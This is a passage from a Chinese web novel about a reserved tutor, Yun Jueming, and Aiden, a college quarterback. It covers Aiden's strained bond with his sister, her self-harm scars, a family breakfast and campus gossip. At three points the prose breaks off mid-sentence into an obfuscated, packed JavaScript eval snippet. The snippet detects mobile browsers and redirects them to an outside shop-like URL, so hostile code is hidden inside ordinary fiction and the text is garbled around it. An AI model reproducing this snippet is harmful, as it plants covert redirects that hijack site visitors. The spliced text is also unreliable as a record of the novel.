那时的他,就是如今的艾登,永远活在注意力的中心,存在即是光芒。 就像是用指尖接住一片雪花,触碰便是消融的刹那。在非常短暂的瞬间,他得以接住了一霎来自过去的碎片,尽管是借着他人火光反射出的微芒,须臾消逝的温暖仍然给他带来一丝慰籍。 “No problem,dude。”他最后说。 艾登被逗笑了。 “你怎么分析出那些的?”他问道,“就我妹对我父亲态度的那一段。” 云决明只觉得自己的嗓子眼一紧,“我上过心理学的进阶先修课程,”他轻声说,“稍微有点心理学知识。” 其实他有的比那多得多。 他曾经花了好几年的时间,阅读一切他能找到的专业心理学书籍,观看公开的网课教学,钻研新近发表的心理学论文,力求让自己理论知识的水平无限接近一个受过正规教育的心理医生。推论出这一点,对他来说很简单。 那时他心中尚有余烬,还能勉强照亮一分天地,乃至伸手去拉别人一把。 直到最后一丝残辉也被人糟践踩灭,他被推入深渊,滚落进冰冷的烟灰,再无一片漆黑尚带红边,还能燃起一丝温度。从此他拒绝让任何人接近,也拒绝接近任何人。 艾登看起来倒没有起疑,他神色稍微释然了一些,但眉眼仍然忧郁。 “有时候我会试着劝慰自己,让自己相信艾莉憎恶我是因为我的身份给她带来的困扰,甚至也有可能是这种困扰让她变成了如今这种模样。” 云决明安静地聆听着。 “从小到大,她都是‘艾登的妹妹’,不是‘艾莉西娅·维尔兰德’,不是‘那个小小年纪就获得了不俗钢琴比赛成绩的天才艾莉’,不是‘那个颇具艺术天分的聪明艾莉’,也不是‘那个特立独行的酷艾莉’,甚至不是‘那个长得很漂亮的女孩艾莉’,就只是,艾登的妹妹” “从小学开始,她就极力要摆脱这个标签,如今也是如此。我至今都不知道她走上了艺术与音乐这条路是因为她真的喜欢这些,还是因为她只想走我的另一个极端——我选择了运动,她就要选择艺术。其他方面也是如此,如果我要把房间漆成白色,她就要漆成黑色;我喜欢吃肉,她就宣布自己是素食主义者;我是U大橄榄球队的四分卫,她就公然支持死敌球队——赛季时,她还会在家里拉起写着“U大球队去死,P大球队永胜”的横幅。” 说起这件事,艾登自嘲地笑了起来。 “她几乎没有任何朋友,因为她分不清那些女孩是真心想跟她做朋友,还是只是想通过她来接近我。她从不跟我交流心事,也从不让我了解她,因为她不希望被我的任何想法所影响。我已经有八年没有参加过她的生日派对了,每逢她过生日我就会被赶出去,在外面找一间旅馆过夜,或者去朋友家睡一觉——她就是要借这一点来筛选她请来的客人,观察谁进门后发现我根本不再时露出了失望的神色,同时确保她的风头不会被我抢走。” “大部分时候我都说服自己认为艾莉如此憎恨我,是因为我抢走了她的人格,她的特质,她大放异彩的机会——妈妈一直希望我能搬出去住,是因为她认为我走了,我带给艾莉的压力就会小很多。但今晚,当她跟我说了那些话以后,我很难再……” 他叹了一口气,又倒回了地毯上。 “对不起,我知道你一向不喜欢管别人的闲事,我只是……只是这一刻很需要倾诉点什么。” 云决明的手慢慢从衣兜里伸出来,尝试伸出三次,又犹豫着收回,最终还是轻轻落下,拍了拍艾登的肩膀。 “艾登,你就像一团火。” 如果说祝阿姨给他带来的那一点温情让他心软,此前说的话也足以弥补。如果说是因为艾登在社交网络上引发小小骚乱让他想要投桃报李,回以一丝慰藉,那么聆听对方的心事也算做到。云决明不知道自己这一刻为什么还不想走,甚至还想说点什么。 “有趣,我的名字其实就意味着火焰。”艾登微微一笑。 “因此,只要接近你,就一定会被波及。”是的,Instagram上的关注就是从艾登身上溅射出的一粒火花。 艾登扭过头,瞪大了眼睛,“这听上去不像是在安慰我啊,老兄。” 云决明自顾自地说了下去,“大部分人都离得很远。他们看到的是橄榄球四分卫艾登,是跟谁都能成为朋友的艾登,是英俊多金的兄弟会成员艾登,是风流倜傥的情场老手艾登——” “嘿!”艾登不满地抗议了。 “荣誉协会的副会长,据说是你的第二十七任女友?”云决明挑了挑眉毛,他的心还有点慌,却又有几分笃定对方不会生气。 艾登讪讪地住嘴了。 在义卖现场布置巧克力盒子的那些女生并不知道云决明与艾登认识,因此她们一口咬定艾登是来找副会长的。其中一个女孩过来向云决明证实她们猜测的真伪,她全程滔滔不绝,自说自话,而且把云决明的不耐烦当成了默认。 最后,托她的福,云决明被迫听了半个小时艾登是如何热切地追求副会长,在一起三个月后又被对方给甩了的故事。 据那女孩说,副会长是历任中唯一一个主动把艾登给蹬了的女朋友,怪不得艾登会觉得尴尬。 “大部分人都离得很远,因此都觉得你很温暖,很开朗,很吸引人。他们接触不到,也不愿意接触烫手的部分,如果你主动展露,他们反而还会因为害怕灼伤而逃走。只有你的家人能忍受,也乐于承担你的高温。” 他已经很久没有试着去宽慰别人了,云决明恍惚间还觉得有些怀念。 “但是火焰燃烧是需要氧气的,一团燃烧得愈烈,另一团就注定越黯淡。因此,她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041186|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能逼迫自己凝聚成一簇不需要氧气的冰,那种即便临近明焰也不会被融化的坚冰。” “我知道我妹妹的想法,”艾登打断了他的话,“你到底想表达什么,云决明?” “我的意思是,你摆出一副父亲的模样去管教她,只会导致两种结果——她要么变得越发冰冷,直到无论你怎么努力也无法撼动半分;要么就会融化。我明白,你认为保护她如今成了你的职责,但你越逼近,只会越提醒她她原本可以拥有的是什么。你看过《乱世佳人》吗?” “那还用说。” “那你肯定记得郝思嘉和白瑞德最后一次见面时,男方对女方的那一段经典对话——但大多数人的人生其实就是那样,总有错过的机会,无法回应的情深意切,突然就失去的精彩生活,我们只能瞧着视野里剩下的一地鸡毛,思量着如果他不是一团与自己争夺氧气的明焰,而是一颗能带给自己庇荫和保护的大树多好,于是爱意最终被磨平,憎恨逐渐从不平衡中产生。” 云决明垂下眼睛,不去看艾登专注聆听的神情,能让他欺骗自己这只是在自言自语,从而继续说下去。 “然而,那只是因为我们都选择记得曾经拥有时最美好的模样。如果没有缺憾,留下的完美最终也会老去。艾莉会意识到这颗树其实也需要氧气,他有疤痕,有残枝,曾经欢喜的遮天蔽日枝叶会阻拦她的熊熊燃烧。” “但她永远无法意识到了。”艾登轻声说。 云决明微不可察地点点头,“她恨的是父亲的离去,不是你的留下,但往往只有留下的人才能承受恨意。” 说到这里,云决明感到自己有点说不下去了。如果艾登一意孤行,也许艾莉最终会屈服,接受并不再反抗,就好像选择留下的白瑞德,努力去接受一份并不公平,也不完整,已经黄得发脆的感情。 就好像最终选择谅解母亲的小男孩,努力去接受她的出发点是为自己好,并借由这一点去爱她。 就好像最终选择拒绝接受女孩感情的少年,挣扎着在自己坠入更黑暗以前将对方推开,并欺骗自己这样对大家都好。 但这番话似乎对艾登来说,就已经足够了。 “你在大年三十那天晚上没什么安排吧?”他若有所思地沉思了几分钟,突然出声问道,这话题转得太快,云决明一下子没回过神来,“嗯”了一声。 “那你不如来我家过吧。” “谢谢你的邀请……但我还是不要打扰这种家庭聚会了。”适才的一切就仿佛是风吹拂起了一点灰烬,深渊上方的星光稍漏了一点柔光,微微照亮了蜷缩在深处的他。刹那间,云决明又缩回了幽暗中。 “你不是没有什么安排吗?”艾登坐了起来,认真地与他对视着。云决明几乎可以感到他的鼻息喷在自己脸上,“相信我,多一个中国人来消化我奶奶精心准备的饭菜,会让她特别开心的。再说了,我也想跟我的爷爷奶奶介绍我的朋友。” “不必了。”云决明很想把自己的母亲抬出来当挡箭牌,但想起那一晚她说起新年的态度,知道自己在那天晚上面对的就将是两个家常小菜,随便的一餐饭,如同过往数个冰冷冷的春节一般,他就没法编出谎言,“我跟你才见了几次面,也只是你的家教——” “怎么,在经过适才那番谈话过后,你还觉得你只是我的家教?看在老天的份上,迪士尼公主还能嫁给才认识一天的男人呢。” 艾登笑着锤了一下云决明的肩膀,结果没防备的后者闷哼一声,向后跌倒在地毯上,差点没摔个四脚朝天。 “天啊——真抱歉,Ming,我不是有意的,有时候我也不清楚自己力气多大,”艾登赶紧把他拉起来,就像检查个易碎的洋娃娃一样上下打量着他,“就这样定了,你得过来我家吃年夜饭——就当是我给你的赔礼道歉,你不会连这个都不接受吧?” 云决明郁闷地揉着肩膀,一时疼得有点说不出话来,但凡肩膀上要是有点肉的人大约都能挡住艾登那一拳,但偏偏他那儿只有骨头,又恰好撞上了艾登的指节。 见他沉默了,艾登满意地点了点头。“那就这么定了,下个星期四,下午两点——当然你想早点过来也没问题,这么着吧,要是你那天没课,就直接一大早过来,怎么样?我们会在后院里放鞭炮,特别热闹,我妈妈好不容易才跟社区管理委员会争取来放鞭炮的许可的。” 看着艾登亮晶晶的双眼,云决明一时说不出更多拒绝的话,他有些心动,又有些胆怯。 而且他星期四的确没有课。 在他游移不定的这几秒里,艾登已经从地毯上爬起,伸手把他胡乱丢在地上的书包抓过来,开始把里面的课本,资料,笔记本,还有计算器一样一样往外掏。 “你这是在做什么?”云决明不解。 “准备上课啊。”艾登抬眼看了看时钟,“现在才七点三十五分,我们还有两个小时可以用来学习呢。下周一的统计课上有小测——这正是我最需要你的时候。” 看来他的心情已经完全恢复了,就是不知道他能把自己的话听进去几分。 云决明,你怎么就是改不了想要伸手去拉一把别人的老习惯呢? 不过,他这算是拥有了朋友吗? 虽说在心中如此自嘲地想着,云决明表面却未显露一分端倪,“好。”他说,也跟着打开了自己的书包,掏出笔记本的时候,他突然发现自己把上次艾登胡乱涂鸦的草稿纸也一并收了进来,在他指尖翻开的地方,艾登画了一只正在伸懒腰的黑猫。 他愣了愣,接着便将纸张轻轻推回了笔记本中。 两个小时过去的很快,云决明在九点半时结束了补课。他想早点回家,至少这能监督母亲尽早休息,说不定还能找到机会问问母亲身体不舒服的事情——虽然他知道母亲多半不会告诉他。 “再见,艾登,你不用送我出去了。” “也好。”又一次瘫倒在地上的艾登闷闷地说道,“我没有多余的力气起来了。上午有橄榄球力量特训,下午有一场十一人的橄榄球混战,晚上还要补习数学——我已经被榨干了。再见,Ming,周一统计学课上见。” “周一见。” 关上房门,一转身,云决明就瞧见了走廊的正中掉了一件白色衣物。 他走过去捡起,触手的布料还留有温热,说明刚从烘干机里拿出来。云决明抖落开来,发现那是一件运动胸衣,想必是属于艾登的妹妹艾莉的。 他刚想转身把这件衣物交给艾登,走廊另一侧的房门突然打开了,挂着耳机,低头看着手机,只穿了一件吊胆背心和短裤的艾莉嚼着口香糖从她房间里走出来。也许是余光瞧见了云决明的脚,她忽然愕然地抬起头,瞪着自己面前的男人。 云决明默默地将手上的胸衣递了过去,对方凶狠地一把夺过,随即便是“嘭”地一声闷响,房门紧紧闭上了。 这个过程只持续了不到三秒钟,但他还是看见了——两个多小时以前艾莉出现在门厅里时还看不见的,但如今却清晰地一条条横亘在她瘦长的大腿上的,云决明熟悉无比的—— 自残留下的一道道泛白疤痕。 10. Chapter·Ten “顺便说一句,我邀请了云决明来我们家过新年。” 跟自己的家人分享完昨日橄榄球训练时发生的趣闻后,艾登不经意地宣布了这个消息。 这会是周日早晨,一家五口都在桌旁吃饭——礼拜天的早餐总是由奶奶准备,她的手艺很好,据说是跟以前家里的厨子学的。餐桌正中是一大碗状元及第粥,周围绕着一圈全是传统广式点心,有豆沙酥,奶黄包,咸水角,煎萝卜糕,干蒸烧麦,以及奶奶自己包的咸蛋黄鲜肉粽。为了这么一顿早餐,奶奶往往要四点就爬起来做准备。 因为妈妈不会做饭,所以家里几十年来一直都是奶奶下厨,烹饪实际上是奶奶的一大爱好之一。 正因为如此,周日早晨往往是全家人心情最好的时候,这种时候无论是提要求,要零花钱,承认错误,还是上交不怎么尽如人意的成绩单,都是绝佳的时机。艾登很小的时候就懂得了这一点。 “他人很好,以后也会经常过来,我想趁这个机会好好把他介绍给你们。” “你们”这两个字,自然是对爷爷奶奶说的。 爷爷正喝着咖啡,闻言只是点了点头——迎娶了奶奶这么多年,又有了一个华人媳妇,有时候他仍然对中国文化中一些约定俗成的规矩不甚明白。因此大多数爷爷都不吭声,等奶奶表态以后再说话,他总是站在自己妻子那一边。 “说的这么好听,”奶奶不疾不徐地开口了,“问了你妈妈的意见没有?” 艾登家里大多数时候都用英文交流,就连奶奶也不例外。虽然说着一口流利而且标准的洋文,她的思想又极其老派,坚持着儿子娶了妻子就该让媳妇管家的那一套陈规,因此家中大小事都是妈妈做主,奶奶只是偶尔给给意见,或是在妈妈求助时才开口。 “妈肯定不会介意的,”艾登笑嘻嘻地说道,“昨天Ming过来的时候,我瞧见了他看着我们家对联的神情——他很羡慕。我猜,一对对联都能让他那么向往,多半家里是不怎么过年的。那么,把他邀请过来,让他感受一下故乡的气氛,也不错。” 因为奶奶的老派,每个中华节庆她都非常看重,坚持要按照传统的方式庆祝,所以妈妈才会百折不挠地与社区管理委员会周旋,争取放鞭炮的权力。虽说家里人都顶着一个源自荷兰的白人姓氏,艾登觉得自己家中的气氛反而比不少华人移民家庭还要浓郁得多。 艾莉缩在椅子上,小口咬着奶黄包,一言不发。她穿着小熊睡衣,裹着长到脚踝的睡袍,淡黄色的衣领从柔软的白色法兰绒里偷跑了出来,一头长发倒是规规矩矩地扎了起来——奶奶最看不惯后辈蓬头垢面的样子,她和妈妈哪怕在家一整天不出去,也要化淡妆,穿裙装。好在她们倒不要求艾登和艾莉自律到那份上。 瞧见她的模样,艾登就知道她肯定还没完全睡醒。否则奶奶训他时艾莉总要附和几句的。 她在爷爷奶奶面前倒是很乖,如果昨晚他们在家,她断然不敢穿成那样就下楼。 换作以往,艾登可能会在早餐后跟爷爷奶奶提几句昨晚发生的事。但想起云决明的话,他还是把这种冲动压了下去。 “而且,”他若无其事地加了一句,“Ming很聪明,为人又沉稳低调,我知道你们一定会喜欢他的。” “我昨晚与他简单谈了谈,云决明这孩子的确不错。”妈妈开口了,语气说明她已经同意这件事了,“妈,你得多喝点粥,要我给你舀点吗?” 奶奶把碗递了过去,轻声说了句谢谢。 “看来你自己就已经够喜欢这个叫云决明的男孩了,”她咳嗽了一声,望向艾登的目光如炬,“你以前从来没有带过任何朋友来过春节。那个和你关系特别好的杰森,连我们家都没来过——他爸爸不是还想办法让你们去FBI实习了两个夏天吗?” “那都是高中时的事了,奶奶。”艾登差点被萝卜糕噎着,“而且,我和杰森的关系也没有‘特别好’。” 杰森的父亲以前在FBI的刑事部门工作,后来接受了当地警察局的工作邀请,成为本地的警察局局长,最近才刚刚退休。几年前,他凭着自己以前在局里的关系,以“培养有潜力的人才”为理由,给杰森和艾登安排了前往FBI参观和见习的机会——这种特权是不开放给公众的。 艾登会跟着一起去,只是因为杰森认为他是学校里唯一一个在社交地位上配与他平起平坐的人,这段经历放在脸书上不会让人觉得他跟一个loser一起度过了夏天,让他丢脸罢了。艾登会答应,也只是因为他确实对这么一个机会很心动而已。他们两个感兴趣的部分完全不同,因此去了不同的部门,在匡提科待的那一个月实际上压根没有见过面。 他们分别在高一和高二的暑假都各去了一次,后来,因为杰森和艾登都成为了校橄榄球队的正式队员,夏天都耗在了训练上,才没有继续。 但那两个夏天的确改变了一切。 “杰森是个种族歧视猪,奶奶,”艾莉插话了,看来她的战斗力恢复了一些,“他管我朋友的姐姐叫‘Spic’。艾登居然还继续跟这种人来往,您应该好好痛骂他一顿才对。” “他是我的橄榄球队队长,艾莉,你根本不懂,哪怕是为了球队——”艾登立刻不服气的反驳道。 奶奶的脸色已经阴沉了下去。 艾登知道奶奶的那一支家族在1910年左右就离开了中国,举家迁往秘鲁,在那儿定居做生意。后来,靠着一代人勤勤恳恳攒下的大笔金钱,于1940年前后共同移民美国。三十年的岁月,足够让一个人丁庞大的家族在秘鲁站稳脚跟,并融入当地社会——因此,奶奶有不少远房的姻亲都是拉丁裔女子,这让她对这类针对拉丁裔的侮辱性词汇很敏感。 “妈,艾登已经成年了,也懂事了,他知道自己在跟什么人打交道。他一直没把对方带回家里来,不就说明了这一点吗?”妈妈赶在气氛凝重前一刻伸手握住了奶奶,低声劝着,“孩子在学校里有他自己的社交圈,我们还是少干涉的好。” “我和杰森的父亲科尔认识,那家伙不是什么好人,”爷爷也开口了,“我记得我跟艾登说过的,科尔是维吉尼亚州人。有传言说,他年轻的时候还参加过3K党,你知道那群人都是什么货色。我敢说,他会让艾登跟着杰森一起去参加FBI的实习,完全是看在维尔兰德这个姓氏的份上。” “但他是橄榄球队的队长,”艾登摊开了手,耸了耸肩,“不管是从学校的名声,还是球队的荣誉的角度而言,都不允许四分卫与自己的队长起龃龉。爷爷理解这一点的,是不是?” 爷爷年轻的时候也在U大的橄榄球队中担任四分卫,只是后来在比赛中受了伤,才不得不退役。 “当然。”爷爷揽过仍然脸色不悦的奶奶肩膀,轻轻吻了吻她的鬓发。他们两个七老八十了,还是几十年如一日的甜蜜,“而且,亲爱的,就像你适才说的,人家爸爸好歹也为艾登争取来了两次实习机会,不管对方人品如何,总不好脸上上闹翻。” 奶奶这才没再说什么。 “乖仔,你有那个云决明的照片吗?我想看看。”一家人安安静静地吃了好几口,奶奶突然又开口了。乖仔是她给艾登起的小名,艾莉则是乖囡——偶尔,视情况不同,前面的形容词也会产生变化。结束橄榄球训练后回家的艾登就经常被奶奶叫马介休仔,尽管他已经在更衣室里洗过澡了。 “我没有他的——” “这里,奶奶。 艾莉掏出手机,迅速点了好几下,一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041187|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子就递到了奶奶面前。艾登一下子地跳起来,又不敢从奶奶手上把手机抢回来,只好伸长了脖子看去——只见屏幕上显示出的是两个对坐着的男孩,一个神情内敛,另一个则眉开眼笑。是昨天在义卖上相遇的他和云决明,只是不知道哪个活动上的女孩偷拍了这一幕。 奶奶从口袋里拿出老花镜,接着用手指放大了照片的一角,爷爷也忙不迭地把自己的眼镜戴上。两个老人头碰头,一起打量着手机屏幕,甚至就连妈妈也凑过去瞥了几眼。 “你怎么拿到那张照片的?”艾登扭头,小声问自己的妹妹。 “有人把这张照片发给了我,想知道我认不认识他。”艾莉正眼也没瞧他,不耐烦地说道,“显然,有些疯狂痴迷于你的女生想知道那究竟只是你随口搭讪的陌生人,还是你在Instagram上新关注的那个三无用户——都快过去一周了,她们还没弄清楚那个人的身份,特别你今年没有在情人节上传任何照片或者是推文,那些女孩都快急死了,生怕你新找了个秘密女友一起共渡情人节。” “我新关注的的确是云决明——” “我早就猜到了,”艾莉翻了个白眼,“哪个稍微有点姿色的女生会任由自己的Instagram账户看起来像个疏于打理的机器人?也就只有那群蠢鹅看不出这点。你放心,我已经说了我不认识。对你和那个云决明的事情没兴趣。” 也许是艾登的错觉,他总觉得自己妹妹提到云决明的名字时,表情有点心虚。 “看着不错,”奶奶难得地用中文下了结论,“骨相清秀,眉眼大气,不是什么贼眉鼠眼之辈。” “就是太瘦了,”妈妈在一旁补充了一句,“您是没看见这两个孩子站在一起的模样,就像电线杆旁边杵着一根筷子,来一阵风都能把他吹跑。” “那让他过来尝尝我的手艺,添上几斤肉也好。”奶奶说道,把手机还给了艾莉。这么一来,云决明来家里过春节的事,基本就算是板上钉钉了,“他是留学生吗?祖籍是哪儿的?” “他好像从十一岁起就移民来这儿了,至于祖籍……”艾登挠了挠头,坐回椅子上,“我没想起要问问。” “那也没事,”奶奶摆了摆手,“不管祖籍是哪儿,都能欣赏得了我的金桔树的。今年老板告诉我,他替我挑到一颗上等的,高度和直径都符合我要求的树。我明天就跟你的爷爷开车上纽约法拉盛去拿。” “为什么是明天,今天去不好吗?”艾登随口问了一句,“您是打算避开周日进城去玩的车流吗?” “傻仔!”奶奶眼睛一瞪,从英文切回了粤语——她讲起粤语来特别有气势,吓得艾登脖子一缩,“呢啲事好有讲究。我专门查左黄历,今日只适合几件事,余事勿取,唔系咩好日子。听日才适合种嘢,啱好适合将金桔树拎返屋企。我之前都同你讲过啦,你呀,真系除左橄榄球之外的事情一啲都唔记得。” 艾登乖巧地点着头,这时妈妈谈起了其他需要奶奶从法拉盛买回来的东西,才转移开了她的注意力。 “把这张照片发给我。”他扭头小声跟妹妹说。艾莉虽然还是一副爱理不理的样子,倒没有拖延,他的手机马上就震动了一下。 “你要来干嘛?当手机桌面来纪念你们‘宝贵’的友谊吗?”她喝了口茶,讥讽地冲艾登挑了挑眉毛。 艾莉说话间,艾登已经在餐桌底下完成了操作。他把自己的手机在妹妹面前晃了晃,好让她瞧见自己的Instagram账户上多了一张新照片,他轻轻一点屏幕,云决明账号的名字登时便出现在脸旁。 “这下,那些女生们就不用猜来猜去了。”艾登狡黠一笑,“而且,其实她们也没有猜错,严格来说,Ming的确陪伴我度过了情人节。” 11. Chapter·Eleven 云决明熄了车子的火。 他挺怕冷,因此再想省油钱也会把暖气打开,只是开得不大。此时空调一停止运转,暖意立刻便像失了水的花骨朵一般迅速萎缩,寒意从四面八方环绕而来,掺杂着一股细微的清冷杉树香。 云决明弹了弹悬挂在后视镜上的芳香片,把它取下来,塞进了书包的课本中——他喜欢在芳香片还没有彻底散味以前把它们当做书签,这样所有的书本都能带上一点淡淡的香气。 手抽出来的时候,手机也跟着一并从敞开的书包口中滑出,跌落在前座的地垫上,屏幕朝上。一条孤零零的私信悬挂在白屏的左上方,发信人用的是默认头像,是个刚注册没几天的小号。 过来的一路上,每逢一个红灯,云决明就要掏出手机看看那条信息。 “我不管你那天认为自己看到了什么,你要是敢跟我家里人透露一句话,你就死定了。” 星期六晚上,他在脸书上收到了一条一模一样的消息。但也许是为了保险,又或者是为了确保他明白这是一个切实的警告,第二天早上,他在Instagram上又收到了一条。它淹没在数十条未读私信里,一不小心就会错过。 云决明向来不喜欢管闲事,这条消息应该像块免死金牌一样,让他免受不把艾莉自残一事告知她家人的愧疚感——要真是那样就好了。 他趴在方向盘上叹了一口气。车里越来越冷了,这两天气温直线下降,已经跌到了零下十三度,放眼望去,各家各户屋顶上未融的积雪都被冻成了冰渣,在阳光下如磷粉般闪闪发亮,叫人没法直视。 “Ming!” 云决明一下子直起了身子。瞧见艾登正从街道对面的人行道跑过来,还冲自己挥着手。他那头浅棕色的头发被清晨的日色镀上了丝丝金边,笑容灿烂得像一只正在撒欢的金毛大狗,只是看着都仿佛能让人温暖起来。 那只叫洛克希的罗威纳迈着小碎步跟在他身边,昂首挺胸,模样倒是比主人威风多了。云决明瞧见艾登另一只手上还抓着牵狗绳,便知道他多半是刚刚遛完狗。 “你来得真早,我还想着要给你打个电话呢。”艾登在他车子旁停住,云决明也于此时打开了车门,忙不迭地将大衣穿上——手机自然早就收进了书包。 “穿得真喜庆。”云决明指了指他从围巾下透出的那件红通通的毛衣,上面还绣着一只金羊。 “这是我奶奶给我织的,她每年都要给我和妹妹各织一件,也就新年这会穿几天。”艾登拍了拍他的肩膀,“对了,统计学小测的成绩出了,猜猜看我得了多少分?” 他这句话立刻让云决明想起了周一统计课上的小小骚乱。 一切都拜艾登星期天时在Instagram上发布的照片所赐。 倒不是说云决明介意艾登把他们的合照发上社交媒体——那其实是张不错的偷拍,云决明自觉他还被拍得挺帅的。问题在于艾登的配字: “我情人节的伙伴(My V day''spanion)[咧嘴笑][咧嘴笑]” 如果有谁在震惊之余,还知道点开下面的“更多”看看,就会发现隔了五行的空白后,艾登又补充了一句话:“还有统计学和作业。”暗示了云决明实际上是他的家教。 云决明觉得,如果没有接下来发生的事情,至少99%的人都会意识到这不过是艾登开的玩笑,随着他的身份真相大白,不少人都会对他失去兴趣,于是他的生活又归于平静,只是账户上多了几百个关注他的人。那些追随者也会在意识到他根本不会发布任何照片后逐渐流失,剩下的只是些恐怕自己都忘记了关注过他的女生。 然而,就在这张照片发布不到十分钟后,有个U大的女孩发了一条推特。 “O—M—G,艾登的情人节对象是他在杰森派对上亲吻的那个中国男孩。” 云决明没有推特,他能得知这条消息,是因为有人截屏并发上了Instagram,而且同时圈了他和艾登,配字是:“原来这才是真相。” 虽然那张截屏,还有那条推文都很快就删除了——云决明直觉这跟艾登有关系——但阻碍不了这个消息以其他的社交媒体渠道在整个U大的学生圈里散播,等到了星期一,云决明感到每一个U大的学生都知道橄榄球队的四分卫亲吻了一个男孩,并且还跟他一起度过了情人节这回事。他的Instagram和脸书上都收到了不少私信,但云决明都懒得点开,只看了看那条明显是由艾莉发来的消息。 关注有很多种,云决明最厌恶,也最不愿意面对的,是“关注你只是因为你格格不入,是大家眼中的小丑”那一类;对他好奇,想要知道他是谁的关注度,他倒不排斥。而这类形如霸凌的恶意关注,他在高中的时候就已经经历过,早已轻车驾熟,知道自己越气急败坏,越急于为自己辩解,反而只会让人传播得越起劲,越添油加醋,越不堪入目。 星期一,他很淡定地踩着惯常的时间点抵达了教室。 令他觉得很好笑的是,走进教室的刹那,竟然还有几个华人忙不迭地把他指给其他学生看——似乎唯恐这群人分不清中国男孩的长相。 凯斯勒教授向来都来得很早,这会已经在黑板上开始写板书了,对身后越来越响的嗡嗡低语声充耳不闻。云决明在他惯常的偏远位置上坐下,拿出课本和笔记本。几分钟后,艾登也来了。一瞧见云决明,他脸上就绽放出了灿烂的笑意,一口白牙比白炽灯更耀眼,三两步就跨上台阶,在他的身旁落座了。 刹那间,转身的转身,回头的回头,惊呼的惊呼,大部分同学的目光都集中在他们身上,只有前排的印度人们还在奋笔疾书地抄着笔记,两耳不闻身后事。角落里的少数男生戴着耳机,沉浸在自己的世界里,也对教室里正在发生什么一无所知。尽管如此,当凯斯勒教授放下粉笔,转身正要宣布课堂开始时,他也被自己看到的一幕震惊了。 “看在老天的份上,你们都在瞧什么呢?”他吃惊地嚷了起来。 “没什么,教授。”“没事,教授。”“没发生什么,教授。”一阵低声喃喃传了过来,不少人都赶紧端正了坐姿。凯斯勒教授满意地点了点头,他喜欢抓住提前上课的那五分钟来讲讲上周教过的内容,顺便解释一下他在批改作业时发现的常见勘误和错漏。 但在他开口以后,仍然有不少人悄悄地将目光投向他和艾登,小声地交头接耳——前者风轻云淡地坐着,单手撑着下巴,另一只靠在椅背上的手飞快地转着水笔,后者则正临时抱佛脚地看着云决明为他整理的要点,嘴唇不出声地动着,背得认真,无心注意外界。 “好了,谁能告诉我发生了什么事,为什么总有人回头去看那两个男孩,而且教室一直不能安静下来?” 没人说话,有些人低下头去,有些人倔强地噘着嘴,有些人一脸茫然,有些人翻了个白眼。 云决明轻笑了一声。不肯承认自己倾注所有注意力的是一件多么微不足道又是多么滑稽的事情,人不管到哪里都一样。 等了两分钟。凯斯勒教授才再次开口了。 “在这堂课上,我只希望我的学生把注意力放在一件事上——统计学。而不是两个男孩,亦或是他们之间发生的什么傻事让你们一直议论个不停。这儿不是高中,你的家长和老师得求着你们,说‘待在学校,做出正确的选择’那一类无用的废话,让你们觉得自己高高在上,觉得全世界唯我独尊,觉得还有大把的好年华可以随便挥霍,尤其是花在一些可笑至极的事情上。” 他的语气很严厉,云决明怀疑这间教室里一半的白人女孩这辈子都没被人这么苛责过。 “记住,你们能进入大学学习,是一种特权,一种需要努力才能得到,而且非常昂贵的特权,随时都能被从你的手上剥夺走。有谁想要放弃这种特权,把他\她在这件教室的位置让给那些不得不念完高中就去麦当劳打工的年轻人——那些想要继续学习,却没有这个机会的年轻人——反正你父母交的学费花在你身上不比花在一只鹦鹉身上好多少,现在就离开这间教室。” 没人敢动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041188|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我要回去把给凯斯勒教授的一星评价改为五星,”艾登扭头悄声对云决明说,“你说得对,他的确很公正。” 想到艾登那时带点钦佩,又有点不好意思的神色,云决明忍不住露出一丝微笑。 “多少分?”他问道。 “84!”艾登眉飞色舞地说道,“刚好踩到‘b’的分数线。我登上网页查看的时候简直不敢相信自己的眼睛。我当时就想给你发信息——但我更想看见你听到这个消息时的表情,你不为我高兴吗,Ming?” “高兴,当然高兴。”云决明赶紧捧场地把微笑扯成一个大大的笑容,尽管这么一来他的牙根冻得有点哆嗦,“你的确很认真的学习了,能得到这样的成绩是应该的。” “别谦虚,这成绩至少有一半属于你。”艾登说着,解下自己的围巾,绕在云决明脖颈上,顺手又理了理领子。滚烫的温度一下子就透过柔软的羊绒烧到了肌肤上,“我们先进屋吧,洛克希也遛得差不多了。” 大狗闻言发出一声委屈的呜咽。 “别闹脾气,下午我还要带你出来走走呢。”艾登揉了揉它的头。 “你今天不需要去橄榄球训练吗?”云决明有些奇怪。 